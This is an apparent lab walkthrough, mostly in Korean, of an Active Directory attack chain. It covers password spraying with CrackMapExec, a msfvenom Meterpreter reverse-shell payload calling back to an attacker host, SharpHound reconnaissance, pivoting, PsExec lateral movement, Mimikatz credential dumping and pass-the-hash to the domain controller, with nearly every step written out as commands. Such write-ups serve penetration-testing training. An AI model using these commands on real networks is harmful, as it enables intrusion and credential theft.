Hacking Windows Domain Active Directory Series - Episode 01
Hacking Windows Domain Active Directory Series - Episode 01
In this document, the following attack scenarios were covered:
- Password Spraying attack with CrackMapExec
- Initial Access with a domain user account
- Identifying viable attack path to perform lateral movement and privilege escalation with Bloodhound/Sharphound
- Network Pivoting with Metasploit/Meterpreter autoroute, socks_proxy, and also proxychains to support external toolings
- Lateral Movement with PsExec, including passing the hash (NTLM)
- Credentials dumping with Meterpreter Kiwi module (Mimikatz)
1. 패스워드 스프레이 공격
이 시나리오 에서는 먼저 윈도우 10 (192.168.10.140) 에 있은 web server 에서 도메인 유저 목록을 얻을수가 있다.
유저 목록으로 부터 패스워드 스프레이 공격을 해보자.
users.txt 파일을 만들자.
nano users.txt
Administrator
andrew
ava
avery
BRoss
emily
emma
grace
Guest
jayden
krbtgt
michael
olivia
sofia
crackmapexec smb 192.168.50.11 -u users.txt -p mypassword2@
crackmapexec smb 192.168.50.11 -u users.txt -p mypassword2@ --continue-on-success
두개의 도메인 사용자 emily와 ava를 찾았다.
윈도우 10 (192.168.10.140) emily 계정으로 rdp 연결을 하자.
payload 파일을 준비하자.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.50.9 LPORT=8443 -f exe > 8443.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterepreter/reverse_https
set lport 8443
set lhost 192.168.50.9
run
2. smb 공유
smb 공유를 하자.
find / -name smbserver.py
python /usr/share/doc/python3-impacket/examples/smbserver.py share . -smb2support -username user -password password
연결이 되었다.
8443.exe 파일을 복사하고 실행하자.
meterpreter 연결이 되었다.
google 에서 github 에 SharpHound 로 들어가자.
칼리에서 SharpHound.ps1 을 다운로드 하자.
smb 공유를 이용해서 윈도우 10 (192.168.10.140)로 복사하자.
3. BloodHound
윈도우 10 (192.168.10.140) cmd 에서 실행하자.
Import-Module .\SharpHound.ps1
powershell -executionpolicy bypass
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
참고로 윈도우 디펜더가 감지한다.
20230927001227_BloodHound.zip 파일이 생성된다.
칼리에서 BloodHound를 실행하자.
cd /usr/bin
./neo4j console
./BloodHound --no-sandbox
윈도우 10 (192.168.10.140) 에서 20230927001227_BloodHound.zip 파일을 위에서 설정한 smb 공유를 통해 칼리로 복사하자.
칼리에서 BloodHound 를 실행하고 20230927001227_BloodHound.zip 를 업로드 하자.
BloodHound 에서 조사를 해보면 emily 는 개발서버 (10.0.2.15) 관리자 이다.
또한 개발서버 (10.0.2.15)에는 bross 라는 계정에 대한 세션을 가지고 있다.
4. meterpreter lateral movement
윈도우 10 (192.168.10.140) cmd로 가서 다음 명령어로 개발서버 (10.0.2.15)에 접근 가능한지 화인해 보자.
dir \\10.0.2.15\C$
dir \\10.0.2.15\C$\Users\Administrator
접근 가능 하다는 것을 알수 있다.
칼리 meterpreter 로 가자.
search autoroute
use post/multi/manage/autoroute
show options
set SESSION 세션번호
run
psexec 를 이용해서 lateral movement 를 하자.
use exploit/windows/smb/psexec
show options
set payload windows/x64/meterpreter/bind_tcp
show options
set RHOST 10.0.2.15
set SMBUser emily
set SMBDomain rts.local
set SMBPass mypassword2@
run
개발 서버에 system 권한으로 접속 했다.
참고로 이부분은 defender에 의해 차단 된다.
5. kiwi 메모리 덤프
새로 연결된 meterpreter 세션으로 아래 명령어를 이용해 계정 정보를 덤프하자.
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
bross 계정에 대한 ntlm 해쉬값을 확인할수 있다.
bross 계정으로 dc 에 접근하자.
background
set RHOST 10.0.2.7
set SMBUser bross
set SMBDomain rts.local
set SMBPass aad3c435b514a4eeaad3b935b51304fe:해쉬값
run
dc 연결에 성공한다.
6. meterpreter proxy server
meterpreter 외부에서 crackmapexec 를 이용해 dc에 접근 하려면 meterpreter 에 proxy server 기능이 필요하다.
search socks
use auxiliary/server/socks_proxy
show options
run
meterpreter 외부에서 다음 명령어를 실행하자.
netstat -tulpn
proxy server 가 1080에서 listen 하는 것을 확인할수 있다.
nano /etc/proxychains4.cof
아래와 같이 추가하자.
socks5 127.0.0.1 1080
crackmapexe를 실행해 보자.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값
접속이 되고 관리자 권한도 확인 가능하다.
proxychains crackmapexec smb 10.0.2.7 -u bross -H 해쉬값 -x ipconfig